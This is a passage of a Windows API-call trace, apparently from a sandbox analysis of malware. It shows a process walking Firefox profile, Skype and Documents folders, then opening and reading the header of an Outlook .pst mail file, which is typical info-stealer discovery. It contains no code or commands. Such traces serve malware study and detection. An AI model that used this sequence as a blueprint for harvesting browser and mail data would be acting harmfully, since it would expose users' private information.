ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea8c0 [0099.741] FindClose (in: hFindFile=0x71ea8c0 | out: hFindFile=0x71ea8c0) returned 1 [0099.741] FindClose (in: hFindFile=0x71e8b80 | out: hFindFile=0x71e8b80) returned 1 [0099.741] FindClose (in: hFindFile=0x72022f0 | out: hFindFile=0x72022f0) returned 1 [0099.741] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cf7ab10, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3ee48ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3ee48ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x72022f0 [0099.741] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee48ec0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3ee48ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3ee48ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7201510 [0099.741] FindClose (in: hFindFile=0x7201510 | out: hFindFile=0x7201510) returned 1 [0099.741] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cf7ab10, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7201510 [0099.742] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cf7ab10, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cf7ab10, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cf7ab10, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x7201570 [0099.742] FindClose (in: hFindFile=0x7201570 | out: hFindFile=0x7201570) returned 1 [0099.742] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x7201570 [0099.742] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe1ffc750, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe1ffc750, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x72015d0 [0099.742] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f925320, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf33be400, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf33be400, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7201630 [0099.747] FindClose (in: hFindFile=0x7201630 | out: hFindFile=0x7201630) returned 1 [0099.748] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55ffb030, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x55ffb030, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x55ffb030, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7201630 [0099.748] FindClose (in: hFindFile=0x7201630 | out: hFindFile=0x7201630) returned 1 [0099.748] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7201630 [0099.748] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\*", lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x72016f0 [0099.756] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\*", lpFindFileData=0x6a1cf70 | out: lpFindFileData=0x6a1cf70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf3241640, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf3241640, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7201690 [0099.760] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*", lpFindFileData=0x6a1ca90 | out: lpFindFileData=0x6a1ca90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41c417a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41c417a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41c417a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7201750 [0099.760] FindClose (in: hFindFile=0x7201750 | out: hFindFile=0x7201750) returned 1 [0099.760] FindClose (in: hFindFile=0x7201690 | out: hFindFile=0x7201690) returned 1 [0099.760] FindClose (in: hFindFile=0x72016f0 | out: hFindFile=0x72016f0) returned 1 [0099.761] FindClose (in: hFindFile=0x7201630 | out: hFindFile=0x7201630) returned 1 [0099.761] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7201630 [0099.763] FindClose (in: hFindFile=0x7201630 | out: hFindFile=0x7201630) returned 1 [0099.763] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7201630 [0099.770] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes\\*", lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x72016f0 [0099.770] FindClose (in: hFindFile=0x72016f0 | out: hFindFile=0x72016f0) returned 1 [0099.770] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed\\*", lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x72016f0 [0099.771] FindClose (in: hFindFile=0x72016f0 | out: hFindFile=0x72016f0) returned 1 [0099.771] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch\\*", lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x72016f0 [0099.771] FindClose (in: hFindFile=0x72016f0 | out: hFindFile=0x72016f0) returned 1 [0099.771] FindClose (in: hFindFile=0x7201630 | out: hFindFile=0x7201630) returned 1 [0099.771] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f69dbc0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe2342590, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe2342590, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7201630 [0099.771] FindClose (in: hFindFile=0x7201630 | out: hFindFile=0x7201630) returned 1 [0099.772] FindClose (in: hFindFile=0x72015d0 | out: hFindFile=0x72015d0) returned 1 [0099.772] FindClose (in: hFindFile=0x7201570 | out: hFindFile=0x7201570) returned 1 [0099.772] FindClose (in: hFindFile=0x7201510 | out: hFindFile=0x7201510) returned 1 [0099.772] FindClose (in: hFindFile=0x72022f0 | out: hFindFile=0x72022f0) returned 1 [0099.772] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Skype\\*", lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2e679e90, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x2e679e90, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x2e679e90, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x72022f0 [0099.777] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Skype\\RootTools\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2e679e90, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x2e679e90, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x2e679e90, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7201510 [0099.777] FindClose (in: hFindFile=0x7201510 | out: hFindFile=0x7201510) returned 1 [0099.777] FindClose (in: hFindFile=0x72022f0 | out: hFindFile=0x72022f0) returned 1 [0099.777] FindClose (in: hFindFile=0x4466d00 | out: hFindFile=0x4466d00) returned 1 [0099.777] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x6a1f660 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0099.777] PathCombineW (in: pszDest=0x6a1f3e0, pszDir="C:\\Users\\aETAdzjz\\Documents", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\Documents\\*") returned="C:\\Users\\aETAdzjz\\Documents\\*" [0099.777] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\*", lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb853cf50, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xb853cf50, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466d00 [0099.791] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\My Music\\*", lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x6a1f190, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x771a9f7a, nFileSizeHigh=0x0, nFileSizeLow=0x6a1f3e0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Ro", cAlternateFileName="")) returned 0xffffffffffffffff [0099.796] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\My Pictures\\*", lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x6a1f190, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x771a9f7a, nFileSizeHigh=0x0, nFileSizeLow=0x6a1f3e0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Ro", cAlternateFileName="")) returned 0xffffffffffffffff [0099.796] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\*", lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xb1513f70, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb1586390, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb1586390, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0099.800] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xb1586390, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb1586390, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb1586390, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x771b9ad9, cFileName=".", cAlternateFileName="")) returned 0x44666a0 [0099.805] FindClose (in: hFindFile=0x44666a0 | out: hFindFile=0x44666a0) returned 1 [0099.805] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0099.805] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\My Videos\\*", lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xb1586390, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb1586390, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb1586390, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="_private", cAlternateFileName="")) returned 0xffffffffffffffff [0099.805] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\*", lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d4faba0, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x8d56cfc0, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x8d56cfc0, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0099.808] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks\\My Notebook\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d56cfc0, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x90b22020, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x90b22020, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x771b9ad9, cFileName=".", cAlternateFileName="")) returned 0x44666a0 [0099.811] FindClose (in: hFindFile=0x44666a0 | out: hFindFile=0x44666a0) returned 1 [0099.812] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0099.812] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*", lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88a6fe80, ftCreationTime.dwHighDateTime=0x1d2fb2c, ftLastAccessTime.dwLowDateTime=0x8adb2460, ftLastAccessTime.dwHighDateTime=0x1d2fb2c, ftLastWriteTime.dwLowDateTime=0x8adb2460, ftLastWriteTime.dwHighDateTime=0x1d2fb2c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0099.812] lstrcpyW (in: lpString1=0x6a1ea30, lpString2="C:\\Users\\aETAdzjz\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned="C:\\Users\\aETAdzjz\\Documents\\Outlook Files" [0099.812] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\") returned="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\" [0099.812] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\", lpString2="sdjwh@dive.djh.pst" | out: lpString1="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst") returned="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst" [0099.812] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst" (normalized: "c:\\users\\aetadzjz\\documents\\outlook files\\sdjwh@dive.djh.pst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12b4 [0099.816] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x6a1e950*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e950*=0) returned 0x0 [0099.816] ReadFile (in: hFile=0x12b4, lpBuffer=0x6a1e968, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6a1e960, lpOverlapped=0x0 | out: lpBuffer=0x6a1e968*, lpNumberOfBytesRead=0x6a1e960*=0x4, lpOverlapped=0x0) returned 1 [0099.824] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=10, lpDistanceToMoveHigh=0x6a1e950*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e950*=0) returned 0xa [0099.824] ReadFile (in: hFile=0x12b4, lpBuffer=0x6a1e9f5, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6a1e960, lpOverlapped=0x0 | out: lpBuffer=0x6a1e9f5*, lpNumberOfBytesRead=0x6a1e960*=0x1, lpOverlapped=0x0) returned 1 [0099.824] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=513, lpDistanceToMoveHigh=0x6a1e950*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e950*=0) returned 0x201 [0099.824] ReadFile (in: hFile=0x12b4, lpBuffer=0x6a1e9f4, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6a1e960, lpOverlapped=0x0 | out: lpBuffer=0x6a1e9f4*, lpNumberOfBytesRead=0x6a1e960*=0x1, lpOverlapped=0x0) returned 1 [0099.832] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=216, lpDistanceToMoveHigh=0x6a1e900*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e900*=0) returned 0xd8 [0099.832] ReadFile (in: hFile=0x12b4, lpBuffer=0x6a1e8e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x6a1e918, lpOverlapped=0x0 | out: lpBuffer=0x6a1e8e0*, lpNumberOfBytesRead=0x6a1e918*=0x8, lpOverlapped=0x0) returned 1 [0099.832] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=224, lpDistanceToMoveHigh=0x6a1e900*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e900*=0) returned 0xe0 [0099.832] ReadFile (in: hFile=0x12b4, lpBuffer=0x6a1e8e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x6a1e918, lpOverlapped=0x0 | out: lpBuffer=0x6a1e8e0*, lpNumberOfBytesRead=0x6a1e918*=0x8, lpOverlapped=0x0) returned 1 [0099.832] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=184, lpDistanceToMoveHigh=0x6a1e900*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e900*=0) returned 0xb8 [0099.832] ReadFile (in: hFile=0x12b4, lpBuffer=0x6a1e8e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x6a1e918, lpOverlapped=0x0 | out: lpBuffer=0x6a1e8e0*, lpNumberOfBytesRead=0x6a1e918*=0x8, lpOverlapped=0x0) returned 1 [0099.833] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=232, lpDistanceToMoveHigh=0x6a1e900*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e900*=0) returned 0xe8 [0099.833] ReadFile (in: hFile=0x12b4, lpBuffer=0x6a1e8e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x6a1e918, lpOverlapped=0x0 | out: lpBuffer=0x6a1e8e0*, lpNumberOfBytesRead=0x6a1e918*=0x8, lpOverlapped=0x0) returned 1 [0099.833] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=240, lpDistanceToMoveHigh=0x6a1e900*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e900*=0) returned 0xf0 [0099.833] ReadFile (in: hFile=0x12b4, lpBuffer=0x6a1e8e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x6a1e918, lpOverlapped=0x0 | out: lpBuffer=0x6a1e8e0*, lpNumberOfBytesRead=0x6a1e918*=0x8, lpOverlapped=0x0) returned 1 [0099.836] LocalAlloc 